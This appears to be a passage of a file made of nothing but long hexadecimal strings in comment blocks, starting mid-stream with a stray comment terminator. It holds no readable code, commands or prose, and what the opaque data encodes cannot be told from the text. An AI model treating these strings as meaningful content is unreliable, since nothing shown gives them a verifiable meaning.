6e35a44b3dab7fa8ad62158f57e5891f98f7914868f7a11d2c607aa09cd1fb13064e2d807a151c7113a5155fff034c288742bf9cedff699e8a4a46b73a744c9fbdd0853b5e70046d656e42fca1407213c0639ff39e449bedc76d0fb83d3b8d352543158c7482d0267ee1cb73dbef32174cd9fe7bed27381ad227ae6d029c3470d0244b0bc4f294795ddd21aa33d1572ae3e5dc25793d9b0b019cb03ad5741b2046bc71c3ec31c5bbcc413aef36ea95f25ec28dd735c61df87e680ddd5a2d09cd4aa773ee3d09ce3b36b5466d15a620b1b0ecf813ce4a4468af4fc46d54867a25ca1caf50c53bba3fc83877da923c188bb4a5e02623b5ba84079630aac772dad215ad323a0a8cdba15a5f2fbcca7bbf5a1eaf796d2eed6fb368f32fbad6c0cfdd8394531a50f51c8c197f148968c9dc1861833ccc796de0e13ef2527890825ce2752ffc0704a568eede83a2a6f79503209823bb0618b83d1de6071daa5a26d69945eb39b56f2e65205dee2520fef86ca99f89ab954d9295556ce8873be185a3e49ceb58f059b4b71fbbbc9154ce9e40e4076441bf509118298529bcae05afc472e085844d9039943c8c7a0e4571d9b4feb7f3bad2f365dd8b3aa44f4f84d50be32f31749db9eb3fcdfaa2b3ed99359cf07883a2568925f872bc00893d1f57c9756db82e6d6db33488b74a8afdfbce30d16b2ad6b00497cbd3b5309d86324d60a3f5cb7e1acd23c607538f8925ae3a167b349593bd8368413a533788e4a2d01d172184f3b4d60042ec2c49bbd8b18f9048c5b26195291fadfd39337a0da0430636d287122dbc435d9b427de53185c67beede9fbaacf354523ffa98d2ef0ab1dff91ef8be605372bb0aa40e353d4c0c2b76fe9ba647a3c366de66fbc1e04c49c21c43064a5e28ef47babedebb5decf8e1f22e9d1498e60bf35afb151f60a3ebc913a612ddbde6b0f1172dd2066ea343853a1bd0bbcf8a9d29358f51eca123769a9b8c2d8b2c32339ca8b68ff9ef5b36399a66a7e0a79ed1a479fe9e88ded8b41ae52079279e6868d56680c747b2faa90a28cc2c212b975305c6fd006e1634216bd5bcda3a1946c5e5b0d92eb9199508e24854a9a714342c463dc5420811163ef3f387bd772093a5a8da58b44035a0cd6d50de58c77be0748c692b126ddc4eeeb40b7386a1698b4af16b698f2589b8df5ce0b35c6732d13e3d45fda229845aba1761be7d0661f8938ce104411b55a3a7e8ef595c7caab9aa8aa27016ccedeb72c29f471e31271b293e61f2119fa595c51336f27a2a8e0c17b*/
/*baac4914d85aa3364f3b4761151e9374dc07d3d64b2023f3df8d860644beeae29af24a57c776013943422c9171447854ab0cbbdd90cf26a296280297285cc1b776d832e6dd72f1a3ad023926f5a3242b1dc153dc5ee4ecea419220ed037f586bab7ff1df645222186712fdec3cf834afca123c491ae6f3d79c33f350ce9ba77dda98e98fbc4b616ee6ad9699661cfdea53784763647074a564b782dc2140f21523b97ceb6edcfbdb0e454a089026c107cbc9d034d5d84792b586447750abb10f8001fd2c588e9cc645e7776304aeaa8dc1dc3301492b2dda1f6d2332c356da9876c002e4d2d1568ae33c9f925733634ebc51df168e6e436b9d3f433680824f12f99c6017ada99ba365e43a08d5ff8401fe1f355dd5230f67939ebcac848dfebf409b45bf0a3f70688a8b241794eb6aaba7eb8c08ccedce3435fcf142a7c01bdf9d51933fdb709026234a48d38352996ffad91c9bd7a2f1f2db86c110ea8894bd7c07f1a410032195dff6ad8f30d0fff4b7acd29681a993cdfd03542437a35999c68326fa4108156f46048828e944c1f69549ab22eea4622862f6795f7b51e728849b73e268282a872f031c5bdb0a367fde87e9670a505740b729d1b55665fc07381cde25bd817aaa691d4b2c488de73ec196b028d743b8ab91027fd375707e4a1ab567fd19f4c955bb01f97d21656576253f29f443bddfc5699b4edfd4e7f51bcb9149eeff24e7c8eca4c0b2727ec973e22627e349333351d51202369b6f474600f14bc5f4d4e39f9b705ab3c39f4b0567cf17da1d9089d230165fb60f26cb20fdb79e10df045621fc112e846555ccf3791f7562c4c03904cfb871fbeb20ac3c4c5d81e003842cf21dab554c2c9642b3e76ada85f98cd7e7feaf72a3510e5744198ed6f9f71c4c304c28194c3060796bc064f4f49e35b20ae5cd5f19e8951f5ce45661dcb37e4027b9b06bcbef984ac6745a95fac51a25a3fd870f84ef510312c31493f36c6fa38f5d743b558d8b3a27691ec31941734d547b976c3bf1d171a056e307a03c4145199515cdf7c2d0ac19d9036bf42d09fbc15a1cefed88f810f5c6bb56f612c99e7490d6b9a61a11c357b3a708ce41ccbb3df8340a0de7e6b72e1f0081e204ac3556142554b4ede10a4e6399651c89a69d55fd6a7fe6a67f73c30c8d47533bd25501888379d42958e11ca9fcbb82196820fad50ce5a10c390e11b357234b66a90495d6ab8ac63efa9896a06ef4dbbb8e619dffb8e67c4fc3096bb891080fc56112626f64af0f557257db49aed2f7dbb0efaa977140436d45e08576a5cc507fae8f64e5827bcdadfc97172e2b1706aa73635736e9e70d9332b45a3de8a028cae405b74259b317df75c9f8248c1f280b34dd691ac510b1a1f382ce7fb495446ca32c282483c0678322f1dfe9d75ed7002f28aaf7f4b648d56fac4342d34a9a0c31234f5b025e6d905f474e6c9ff3b5e3eaaa7cda795a9a3d9128cb7025b27b2f6e8af23ecc42a3e6119cf4c0eb7fcb7c6061d008264271645413fea62f02819b93af2e0fe3dfbc4d70c75667c571fa9a35cd0e41aef6f7b2d8942d3fb02d10fe313146579d5ff75e722a7635b576df6c262bb9b1a5856200741c898ee6bfb3985a6538c05070d788c688af005ce70132ee12f763123a0ea7d1f488415ee2bcd316d3ad0e1a0aeec967fcfe02a9fdad0b994ebfb36977008c18ce6b9d0fb5c7e210978d8211ed63f63288ce85c798424f491ba801168c34a0ede6d972850748bd3c3c006efeea4fadc22f7c2be1319109cec8e6a378a6f52460cd9f39b84d9fa67699554edecb67ef1badbfb49778d951cdc5d9cb60e1d35a79845cd512d8b1a2b4828d48f2d357a0f42fa1df9f92b9bbd7271e246d346349601aa1ca7417159e8fe2917d4c391bbc5a5166d41837af91ff97a8326fcb20cc1954262b3c9fa5507c70c67923401a8ee244d615fe409da5347134df04dbae1dff617018d02c8d3e989901b0ce7aad6a36c7619c8294c81eb95e5cc1028e40db7f4fe679757e9ee813bc22cb5bf6fef7a208065fc10a92daa69b0512661a80c7107ff8d41903ab36090d49ef20ba62b755e395c72135456dbf26ca55841fbced62427334f63e45a80459804916c11cafdf11ad59be58c7a55ddb78cdbab1f8580824aad14312d50913a3cefd7c3dba980754a3ba9105bdd0a34670f19cb1fdb9780d1de238f7fff2f741bc36ae98df3c744c04624570d49245afed071bc2366185b297a4ca8faa1e86d8b309de5b81cb9e4743e42ff60939019ba95840330ebaa70ead672d9b082e8c53313843cc0e7774bb91ede9a27c73bec27e9d0b0a5a4ae4a58ee542e548cd1ad8018d6e9c8c30a7eda20a200b089f9918a9b80735614b0ab04d33ee97a50f056397c1b084840816ec7e8e5c29cc8b31389c2f01a50474dc3bed895f68abde3d1485b00e9f0bf85b09252604985d14c514d4d85c9e575886f3f4b73907850affaac737ca3aba0cbe1c0c066ae01f7271e1e409094ae41980124d503cb6c7853977f6764e08d7f9a2725fa4e3fc6427bc088431e2ac5674f8b5d02f1de618e6853463b44faa55250a74fe27a4a82811cc881085a3c5fad8e1a7862f4bc4a0b2edd4aba9c99227cc532b17523900f3fcf4c3b208098bcefa848ad9a178bd77e4d8f196ba152c456953751b05261f7e95e3e00f0b9f259653a12c619b3cdc791848d4e8af2a13b603a0f826b02813f69483eae3339a88630429146a235b19778777431c8222f807b147f21d1c9ad651509262ec79fede52a8d75d60db94d53968e638bc5a4515ca9d36e8ab*/
/*9d0593e9ed80204602dc3f018d03899ff9200d761187fae957062ba1e4bad89f829e277a9a90bec96d7ffcca4b64f6a0665574bd84940adf8a497064f806af96477f7bff2a381ac0c0d9b298382b26cc4b1da03263f736143e73e0b8939f33306f8a1cc7cfc545ce3f5474221d5a6b80f7d54b05fb6f8c5ad64de5fd3efbf729204d28557468aab3b68106faf4ba3acadca49313e04a30e0ed6e1ab6c672b2c1881257223f2fbf8ad3fd11f384768a6342ff655d2ab179c0c11878955fcf370196f94a03a8249de13cc959fa85103285b4f5c34909b7e6ced275086c72c5aaa64b8b29001149e19442183262162840119766824e07e051579c529d91a6077ee015d39ebe9a2f78f8fb0e469deca539454a6ebebe0b8074cf657cd6fd698fbc180995d9ed8032a8f9101c5fb2f1c50a38f1c46bfaadc925cb6639536d2c5594773183bc60c0954a1133a2dd5661294061b87f467b25d5345360ee61c9ab8b32188457cc89a3e7f0f2b49833d6cfcb93fa18a73b11bde483315d0cdbc860ef0867107b24c44c70065cbeb89948bd5cba21993433f158d040c9d5d576f786e5f3e69845475b5c9d54ffba7b1b69d1b7cc4745707313c9999346efc6fdeefa334ae98570fda8fd3c01966d5189cf75cbf4272b0b901d1ef75472d8bf0cde68447da871b0a40a641bcb8c9152b5ee1ecdecd6f1d931e623314affae352011b481d0c69df97ab777c7bce388e224d8227aea509684ba1848f2210d346d3da835c2ddbcca40a651007949f6edcd92a90b5069f3d6914723f0fc001130aa44ce8d543e35817e9244fdae2c2aab0bf98a967d4dbb2caacbe4b3915f2794207ab1b16a29d564e568b926d20d6a25a019ff8461f533c3b9f7a7b0da2a270e72ca925f180a355a5e739bda5d48ce9625b6e806bbfcc703a9115091a5353b48829a42bedaa08b84474804b1debed11155b97882c89c7b876159e870fb05999bb8b034f121d4463f283098c21e6480d0f9ba7a317fbc0c6c8bd152ce50eec43759a8bc30a21921c9cf461f5754eb5b45728a6911863e81d770e391f6cace12c470509aacc6081ab6b871e5e6660cf287682767de427a6122c562f1353082d42857c5ac9adf93b0b2b2b0d60840799d53cda38b4d93828fee351a0326419fceb99d3f6ffae24c0094230d64dbd2e1c0cd3eb5fb83ed785e33d1c25b6931850dcaee5fb745b7e08d9a1f041747808f0ed2d154c0e51f1696ff07b3897b12daedc9d57b004af9bb446e5bd5167daa242b71e8b6e1f2e199bb432f5eebebe281ff5c18db706b28752459b38e9b4be5140f9ac5763fca2dbbaa10dd6510ce01e4086db3146f32a43fc049a421a7e0c651969532ad7687e2e6463f4eb984dcd83612481169d1ad5a85ed11484b231895690c5c3b1477edbf2120ae7f5a8ac9d191e711adfee86d218bcc6a356c359fbb86624e734001aa5ee725a046aa942d1d2d529422c82928f9718ae40ad08ba666186c1b6efb872dd70bd08233ce3cc6afd6b53af17fd398cdc1b9b473a759427d3ee2d4b1c7523df387a4ec7c2422bfb8bf7d9b68929661ab2f4f7e2b5eee5f10c43ef4668c6f5f7c811503aac3b973ea3b5d34c003f9e850f8c2cebdc3fa0600e16eb678e328105e0398009e803e2f7ec78ec58a02d9e24897cd74139fd5e59852233a363629e774091978ce6557d1031a17f203c1e5199b963bfcb49e0910d18a04fa8b3d6d59f5d7e9116743820f16f18d680296585bced1a0c8513315c19004725d3d359ef5a2893590abf38414fd8a825b5137942e01eab84a2973aa8a90fca5343a81b9181920323686ab9eca894ffa8aef42659c5bc02b086bb8945aa799748c257eaf0f24df8d8af4b7dceb3cd3ea645e1c7cef30957756f2fe7a782e3eb9120e31260d2db8d0538b946f792a4bf1bc96bbc9d29db581d82995f9bcad227af20819b1f403e6baf958b7c2e1edc29a98b20454b3613b3ace162b8c80b741b7b2a3c0e0210f6c73d1d2cd66382b2972618e4687b4e3916d1ee7d6ad145ac37f14e6d9004608a305298019e1a25fd07fba8af5d39111b2b91014f9388e67d8a6b4c18dc9049a69d75fcc552dc5b7190a72f2bde8bb75bc2e53266aeace39be55634edf26fc0e82706387a9b690f8fd1bfd6dcecbf8e00e860fb33ddff868d997203d3a5d8eff9dc6973a631637235f00aa578cbced4e2a7de4cc8f6e9ccc803d2873100a9b5ad6e3c545f193141f8a59098d0984266553f98c2e6775a193f2453c1ce966ce45f9bc6141a209d97babd6798ea90ca2360957087b7b308bb9e3f05fe34574792af7ec6110ea908422a041564e8c2d9158f4928076c55fedf245525f92c17c8a00a6d536ac366df5723c8a67a9d82e63422963e2852ca882a7ba8c1871f36ecb9a83a3f39f4c35b14164ecfd68a63737c68e0e6cc2022b99ef525c71f2bcde5efb1cb7535236f45744d579e2709221b8712b6ed57de90a3a4514d141aec3ebef239d144eca364fd414278e56bcf07f83fce853016f80417b1a2c46c1448eb5069c093a4b43dcd203ef75b7ac0e716232cab4162df8b502b9789d1b357340ac6f98b2a55411a21b82ae6d09989fa1bf6faaec6dfe1108062b968360e3f5b096ee64cdef6036ba0bc983fb161e9fb9073da2941b5f82e0a44ea9c7c0052ca2b249a99accfc1095096f488738ee3a2c2d2eefef023335976dfa72c8eef2f26457a30e411dadb0891ef0b385d90cfff2d9a31f12b6727693c75b5f344b3812f73769b9dd08d3fdbd1c03d4c4f3b29d68ad2376fe6659a1977eef209c9457c4b228abf73b10*/
/*dba9523998390a91f9644508a57128c7652dbb625df1b3443f2da49ea568f448a125d99d7ade7fe48d42e303e679417659dc9ab8fdc4ed059cdc6307b4a295d49b4212da60babbf4b1ed8ffd08d68ceef209fa53476176485d9fc02fa681d52af8cd17fae7855854ecadaa27033196898625c6b89b59358712fa6b5494e6c5719b8035b77c78f0eb6babdc4d36a12e147ca736408a731d6667d376eb57aca4e572659d2ea0e4bded0ef20f2de2c2f21cd6a06b3898db7900571681d76a1a0ea7b5f7ad76dc31aa69ee529bd2b391cedccef0cbe81d048fc2196985eac3513b0d9377416285a3235b10d3804869450690e8bd58ca103e4c0a6acb1e8d9ddf7997848d65e5a10b9ee79a2794a6ca055296098e651f2566adc2dded4c48f3b0b38e2383d8bb7913b963432e19e351bc7bc41ca7fec74eda5184636b81692f79557112c7e52bf9ca94f55b4fad225923cb0ba6be5c3558e426c7b6bef322ea3f61d4a4459fe08dff3085109c56db2a4105340131ce2a469331fd2ab98ad5e2a8a05508398eea6c16eb87de55b50e23e9beb874e3eeb50e3d54987d3ebc217f8858cae6c6318845a580bcf3bfe6e1a5f2a5d1224a8f7e9f2efb0b219572807f70b4d63dda21b6f6dc3ef0426b4e2baa303ffc6e62f3a95b241bde4c0176ad37de8a215f582e8747a26a888ba1bdefef975b33d332cd4044cf376b52c52c3770e4e2949cb4ab0e285f6813b58957c5f5054ef0ede8d9380081770805ec03279bc6db94f4fbbd29dda641ff234aa11f354b7cd6682aca275f9d1db7ddef6338ed253aeab754451a17b50f15586cce1dd8cc7db80edc1cf4731a59a575050657f8790e3cce70ff1bd9d03601e2320989531f009100b6c84b149fb80f3a83b0b15603fbeaa5ffc3320fcbb6f683847476ca7d4801018e953b46cc347eb7f2872a16d80f0c603fff254ce2b7a40af7484e2ecde6bacb10ee7b57bf61ac11f55000e0b3bc1e7f44e2b28702ff951afcffffd003553851953ab096d3f26c176cb5fd409c81ff44b0b8b2a4c26b018725b7b312c2c736a268947e0906a6d5c444c829507ea454f320e7a92993c716cde5c59e182c685466158e27ae7fa0d0765323b0fb68759b51950b62dca6fd37633bfb22770637a048b1dd7fe7dff296a5834e147da998162a6fe957324579987e62c20be9c13a67abd1cfa8b3c95a48d866111112bfac2a2b76b5a586f56a475f3899c960622472d429df75e0a1d47376e08c5ad3c4b17e6c43cfed823a982b0b30eff21b26791560d693ef684cbed3ee3fd39c141d9bbce3900ca9d986613125b208e43a77618540ebe058ff274ed0d8208b7409e9d4cbeeeddfe298cc605dc2fec226efdc792c6d4b4e23de1011a132ca493ccd71f1a613c3432ea705ece07186074898e450d3030559c9a4f5cce3efe5eed03ffb1f0ad526007c46cf52af5fd480b217a6e7465e5ea191b8008e2acff0131a935ae95ac67f13eed5e6a6820914d52db4aceb47639abb8caad085df10618d4da7ab812c0e9f93ab220e8841f8d7840f1f20751c38826b6c6f004a23adfca02d89334233ddc33c287a324bb3aaca7f15c28731ceb13abef89b075962f336eeda7b2e6642212281d2b084bf941188bf9ad0f0d4aa16448c5d7eeb7ad27d87ab6b72429a44027c674a233e2645ba63118948a99e8a69ae0d854dd7a640ff93d06703832700cd228661c542ba6118f18f0b3d14642826493f792e0f12d59e1438bc55b2435c735ca98478c7a7b88d6b870d10b073543eb3be0a1984cd457ddc5429779b6d2f33364512d12f9e1deae11720acc7b9040d33d86c647d36f3df18e0e708a7b4682640d954b746759068a31bd9827db0ac0cb1beaa9b3de175f598f683a59aeb81b5951f410fbe30353b9e994e7aef49dff76bc7d42c9a7d4dac0de311766ee2028f9cd31761423f5994e928ad38e3e73358a16d44b531d47c5700c5d042fa762fc2628aab7573299bc074f2d073835083ab7621cc35fef00f7420cbceb0ab8194144906068aa189a2b0c02eb2b1c1a8f6e74ce32dc8c6a0858fcbe24ba8a0ce8600087d29fb19be41e5b5ae2da2a4e479d40b05f5a7c62327e0397a46b7afe99608b0ce38fd5889785b1baa7f76643bb0d312a66255583e49fcf234ae0954e3ec327215be90da9c226fea244bc336a69e2b16df1d617393b43a2b2d1464e54ce8b8a2ed1721d53f822e63ae1107c11ada50749f596ef0e30fcf3cf641e3a940eab478891674a942f8ca54353b9f61f7c3d7f328133f8a56c24252ae5b7a94d0fa394b77a37c5811cef7e40206e767f0b11941440cbe28a53deaa8fa636a153a2971246ecc3fe6110ead748928a1184c8a1bb07aba489efadf97dbd294e43c524a0b5bf1a9201f55475b6ba0f4f61443e06743b068b826d4eb87417629c5945ac8efba779bad007befc477ca70d5edd204a994fe569438f4e5a5cc20573e6188c244669ec1184d5ad3f07721d006d6458088983bc63c53a43ac94ace2cc5e66f14335b5e83d0d4b976d1f0c0c609d2375f0238c580b8d83433db8cd77f91b4edc97c40bcdc3b54ec0b1440867397e12a162ccb14d7c922a697c419ae120007ddffbd59ccd4cb2ee3b3d270b7a2c1dacf8af0b3a52858f6ce0bdcf97d354b591877ccdc56c5f61636768b1a8cad5129234e2acd86eb9750db3d458d53e81f66a7fdb44e0dd3c90aab22a02873407e05627496b5aae66d6dfc6bebd1c8862df46d156f67f33f6bd06e06a8df5417593fd21b0630319632cbdacc6cf9177f7903ac28b74eb1b619e7b11bb3e216bdfa9f030a*/
/*36141f9f29e865c33a3e49de93554af21ae8f97bd03e7df8943fb18e85d8a66ade95b6aef5db4f5a32a9c3a09382c14505dba21fc82860725798c4ce70569f272e0e7c550ab357561a3f54d5d199ddfa38ae3a886595eeaccfd8eb367e4db3d49e8d007126b7d9b5dfbbe6ba29763e4233003b2148587d0a1283e0091327ce39a010161f5d055d50ddfdd232c0276b2598e7fa32787407de55d0fc47a38c4b747209d59d1967d5bacd67f79314f1caa9d6b696e172dfd788934af6e862b9f15e424e12c8831c068d56fa819826e5c1fb20a17e618da1f99d3cf24a2d08045190ae9927c3753848c1936af9c52520ce76b0691a02353861986aa9d77460e31fccc2588b03e4b761dabbefb5bf76a894424f35bd254280962efa1b45510284b0e8af28516e613f424fa2a37fffc3993df651caa2265323bf482b674da2118c25825d6b2b94e69bec1198d0dd23d24ab6fa1426d95afc146caeb12e477c3d6e19a8f4b56f7842bb182628cc862796f3d36acdbe5f31bae1dccd55894391ff4ffd394b3a902321d87710431640617b3c571ad9ec1ddfd9a5588d43774e7d3115a52059edf91e03fb11dd35d7cf7f1b6535e8a92c4d4b36381800f2cba5eca0a2f05144279181217f328edc6c441700d8f70fca83a530a8b0ffed8f9b9744e8a4c55e8853f0881d629afe8d8117fb8bb8caa9ea12a2a3c8d55f609b26364a4b7ce7e570bdc310ba8f3e25dcd30400a94ab3a63889d9cf384daadeab831027c99d848c2b2b05e1d244be0bf9eb7ba3e4d319b9843547314d33cf01e6aea8d543ff8b4eca4e810f49702a5e0aa22db0dbe5822073c2af6dbaa76a83494feb3132005ac72115ce7f71020b384ce6567189a361314a6f3478dd017527306b6edc81f7a718da0f27731c446cc562b228cff0b85f070b029bc8812e9eee73aa95e3e81672ceeffde8542839441c81133670cb4ae5adf6decc235c25224fb5f9d9d5bb25066982aa9edc750eabf254163b3c7078a6340828cdd7ac1e8d0b40d70ab29ceadff2563e11eb809ed90c98669b2d56c624674d21d2e356cfcc96d2eeb0fac15de2e4d56a2fb2281dfe1765830ada00cbb9b0a8460f42d1a2da3f61c559e9c3b9a6bd7255348ddac31b940122ebb16a1ca81867ce87619459bce0b5eaa5cef9665e4cd307efbda6bdc758f195ed3c5182404ff372a4b481b18447ce3bd69f0b7cc95316f41592634c80bfe4b5a8b8cf627485135e40f6f3ad003a0a7ffbe0d058da507423f96963745cfda81da385f6ad88f10a50be80225830c207b38472997c7dbab555d8aec365e285964dea25aaf55dab158ed6dbb94ec7dcc53e53ac59b83f030bf1f8844619cc5d4e9e88bc21f40f24ad91b289fa4bd7851763348a0bd7956a2df1a52163664f5d162f2d3fa83a95ff4c7e30be06335ab5efb856de7e9810c1a0ca0b23b49c8a2d8080b0b1fa685acd0c7855db30abbd76c080149c93de06ec6e17ebd0ca59568f4f295a0da905163445789d5e4b37d1a0a3121ada99c294f083af16707390c6a051e6bc81a9df108037b7a5e38ce169455f8982e108cdfb776f7357f2c9f3748299a39f0657fd3449ff8f6d788db09e7d67aa0e769bac36a28306f3e56a86a81489ae293db402d47a9c3a5bd32e1ff65f9e7deb5790338a666fc42d5f5f641ffdb609aeb1aca31f7229b17ef2bcb9588f5bf560b2ab8ead8bff2a2f102b0c27f60b5bd6d7d23c935ab9c4b0c00bb6b88dc9abcba261eea39fd1f31d63607b1d97376698fcf8de24f9e4be629be873dddfe53f347e2fc5097c927fc9d54fe5857ec110b493957ad8df0ba71ea9182e14efa5339241cc7054219cf8ac3bcbf1483d2e4a0b761894697f89f587c742d343b982700526596a94e3d54c8803c00a0d22f105cbeae0da728ffadac23daada2fc249e43ab58c02551ddaac1ef14484021aee6e39156c025062e35018175cb8c3d97586c95c00ad46476544d102d4f4f38f4c0206dc4146d992281839181b0874016068b91b06df3f74c3f1b7a516cfcd3af661e72e3f0a8d2b20e0c6f79e6bbd6dcd56d980ac72b785f4c4a0f9336b174b33f5d10bf63fe62a2a83ae832d79e9354045569e3c3a9ae536a0df7f79be4eac0f6b77c0b6a5d28ac21106e96c101eedde9f06473d19ef3431725a71a9d60803d42562ce938e745a4e4767df612d4a4b07a6cf9cb4f53125bcade52f906e2e026487d0e76a4fb558759aa85e806d0063bde46cab04806bb4d44479147ef76a4edcfadc9672e02408997684c85ffe781b3d36985f131466c8664607d405ab557f3c867d1021abc59c338408811b9fd1c11644d9b0e0beeec4fdcc11389f88c1c87e008edf02a70617408ba30d677905aa0e9fb98c4f264c371fea26e4e7da982833c13cef9e4829563e02d69ffd8beae8b4f03e51ab3d7df4a9a26ca10bb0c72b4475f8fd53165588ebf408e64f03c14874341e72758d11e03a444187078952e58b0400eb8217f489b7db6cd07a548d3a96b8c38333c0ea548c0e7e62191d638ee6af2f0b26dcd241f6a33d6efc3e87b0c34e5b271d2f995ced048d0f8f5d7cb021c81067ba8dad094c81e93316702b6d215aefb251ba555ce8be5ba94c9ab4811aa221501c6bd8a06bc6dbc7df40a1be6735d2ec602709218deeb40464d7ad313051389469e8858050531beb79314ec00f3fd49903ae1b1840e5bdda4f345dd9ba3959b30bf6a01133d258b37bd19c97354583bacccd9d9c06eb2e2a8986ea05ba69ea0e14c3d6bfbc66dccd3fe14f0191534afb379507d73d153994302d17550555b344c6c6d035*/
/*5a670c9d8130758c7337d5589ede3a0b5d3defc5ea330ccc9f9d2a09fa6fc8bd2718ec7f161f06d126210795e77a4071486dd1efe0da3504407635bde1de07ebafe54b2f56bc7f92d8451048c0f00651ff77cb45b80cd6f2a484ac55086c4d153d99c15b2197c43e4aa2c2e7bb984d584246791f5111aa70f1400ce8c6129ff6dd42a5e6034065eedd1edce003815c6449bcf61656f974b3e662cd5e862dd003c409a83bd8ea2d407655316652e834987e18f3fe825cbe8821fd26a54ad1cb958c1a4395aa1f4f494c5fea511274c168dcf474f6c8d2c0972129b4c6b7ec0f3760836746a2a89066e750938fc3ca026b339aaceca9bf2cd5cb39834a147a69cf6a9e4e7163c5db8c98ae545238e204a2e8c28e1a0d3e18b504334cfe278739dc3627586feeba26ad0458c8db2a65948bb63c49b3f75f36ea011a02516c40b17272c7118d1daee8f85da7c20ca35576ad07ac55b27b626a00e8050be967d194421ab6f17cfe7c837cbd3f83f6160226ae0dbe3fe5ddfa742be1100d9be1f900e7e5d7584b0a2b120dbdb8163185149af2719e627d729f8b7c91b05e40bea4517b3ebedfe665d9644473b8985d72fe1f80da6cd40f6d7d02055c42ec2273545512451575fcb0d228d63ed54b2e890d91529520afcd62080dfaf4c30763698d8e9eb7dfd5cc2c6be1ff4e1c4dcfd26089d525ec22555291003f0f21c1bfd3bf0b108d1482170f8c645084357458347c3db8a25c91e24d33da948a7de19b7d2f8dfde02a5d74984383cb65110624149a6a2a9923a8857e277ade25587c1623bb4ca4f5830c1298c8c33eb2e61f0c8c9b4dc650ca2a15e4cc3a0231612cb702cb4329f81d650f252dd827b766912c2e2a4828c85f1978201f89165bcac459f305e1b25f33bf557ffef5bf178d75fa33ed610089970ab4fab5f6ea83c291776b5707ed8d976145e4055f7d30f606076ab5a1105d4e4c7a0452f55936a18a4f07317b7d2462b145e7f00fbad9161485f7a3380fa6e1fe5d954a3c452e0fd8f2e0c9037f74dafc6d9cb68b0d103d957fe17a250383927c47c511b3a756cee13dc1db02a8c62336c4a6fe517395e73c73766dfedb2a651f72290409031e58c6e1564b4ff8cc53478995febd4c0ebd980810806c4d4411288d6921590621c80a10395e657efcfd0e381e73aaf2440f3daaa1363adb83baa2cc4f8a2318c7dd8ede4c79289ab4c765db1eb704e922261ed26777eb6caee8296ffc20ad00965fa3dba3a87a2c6acb76443fbbcf93933a41fb966ca4bbba9add9351c38800ee18aabb95710fc69d751a07c162f8ceb722438825fa1fa4e97c73ac84d5dcb4fa46adc0c32cebd6b36d1fe7695ffecd7586133147c6551bed524799d308c7bdf4c9199da507837986f0a601c4c29767a74f1090de89c79b47b53c4ce896ba05d54d61c8d9b60cbc1a42abfecd8b5800780dd34571c26b58b7667fe8f2bd497f703d2ce8d870bd220913c85c32cfc35549615daf1b7c98e41d63150e19e021aa381a45a93e44f0f3a50defaf2d5a47186fbb5f2cbd142a301743427b7b667e4f356472e5d422bcfb35b8cff00e43b0e97dd909f69ccbec11095598e6f27bda0a982f6cfcaca8f0a3e33d2e3104cd7f52706696ad4ce1e556718905eb42b9eacbe4e99d2d3b82eaac7617c3d31b02688098509051e55af584dca37eb016575e068df3755b11d104f93c626c9e258e5ffb700d7494d4dbbee2f18a8b55d346d146066d6a492f6e496955c3648884df677478a2c27f39970c791548dc935fba3e12ed1db39f286e7652fa9ef994a981fec2a36beeb07a480343184d8874ea32619cb039648153922aaf1b3a6beb9e96d15bfd46fe226bf46a5bf68cc1411c064d9d2c02947a6b529611b3bcc15380a2222726231577e4b67c2a9f3e2f1aeaec30745082f41cb57d991b9a5d8e7bfd292254929c2cf57bf0b13dec520278e1eb883dc1c23bf94c770a4910b90dd2dbae2a943262da6a11904635b9a3fbc90117ac21c387d32570c17925b8ddf54525358b558df368d52ed43319ce4d78fd7696519d9d0701dbb262ba6b2c44a1e2356426b4b9bac7cc711f04333626a651d065e5d6ae567fa14dfab8a6975db5c2c22ce902450cd07285eedfc99734d0ae6dbdc7e3c1f257852686d36e773696bb74c553d83aea54a3d6ec6d1c5a53bc10dcdbb18a637cc8bfaff3aef1fbed2a03defb2f5b13d542e691d48f8a08a1fe06b87a324d35b528b969b94cccb929d813c392806a398bca98197fe9fb6b5f109332e48a2e36045f4a4f5f9a1e3398a90fd41ef9b4dbe99ca43a9ce9ac26d0ce467dff2c46fb719204a9a717f664e404c61efa0addc503c0bc34970ddb318086f0dd607bc8b5e3102cf81be5331984e8bb99a9c1487b281676ad5948d8012644ca75f107e415caa617b9909afc87b3e9ab456a0e3eea896f2f2f55ea2273008c9ea6803579c99b956beaad17115025478510769941577ae7d678fc4daae57588614d7163e24643ad0b71d94f3b5d4237812a84d6d87da3398e1762562565ee8d5dc4bb96126aa96f9e5a4eba65e6fd6e81e1276760d8e023b9d7bbc107029f68fcf5103a708759e7f62647d79a2e65859c9ec27c6a5d4f7a6c8db312ab3345ebd89eac08b0f1276da73730dba562d0dcf0b5594d3b4640927ebd5df819453f9e9a6b89fa8a8689fdb07446b4b79c7a625f2f0ae3122de4501d0676deeb679cefc501d97e9a0eb4a63bbf3100163da46b91d4a8ced911358329edac30ec04740e461d858c02a965f575e5b8a6d79e9e3215494fb20b2b9d492e283407f4*/
/*a6b050e32fd7cdae35291b29c4d85fb42412aa5c7e74b7737ac45deda4a17c416bbaf22cd04626defcf9eee0be68500afb35808b0a81a366e5f1a069bbc4424173ed0b179265332f7f6791f1f71f404e72b70f8c504f941f4bd3405d5291e9475f3d0d4f6d746acd6c91b18f5036ce71e890b2b29a7de44d1d78fd6f06f05bf93d6a6980a99954939a3193e88e5e83c8af82354407578073d7d10498e2814e64416a0d8f7c716a24946f07362fbc878983f07e4ebf025f1fbac6fc4b7717d7b05de3b55b9fc6b8607efea698fdf4136eecda5a3a76810668af2dc2beb1784b8f795bf30c1494950f3051da1f00ff0018286cfa959b037149164f9bd00aa844fc3dc3a7b2db5c29143832262848ef38fd6785f1f7ac6ba4196cbfde55d79cc214a507102bac855dc6c1494a2b696c310a0eb44e9f6cc328468961ed1c0cc929e0802f53cf32fbbc338189caa9b538dd5a3ea108eb466adaf2c0f567b6e2656c9893dafa3a91105997b6a64ba1606163911b81860a1466d791551f270454b965768da2e1f776d09c0932daafdfefb715b354db7cce900e35a96539e5579e3cf983c48f60de40436a8d065a92763b5acc324f6b46c9e9d03f4819b1e21d5999f2f71bae64cae6ea24a132a07999f0a52aa43c214ca5241caf3c526d75a449775f26ea280e4df08207ba1bc11217727082bc2a2da637036aae8db6e2d2e9a79a386de324053c8bf2862ba382c42f40599c031b4080e4169039b5e51faeaffd3d8bc1bfdb48034f25a5afcd6b18173dd23c1c96bcba2d9ed49c59d020ce7c88f4c8387fac07e8ddb46e396afeedcf9eb3d48c2f06e985e30a7e47157474b1b762882f9d664765a4628df480f9b09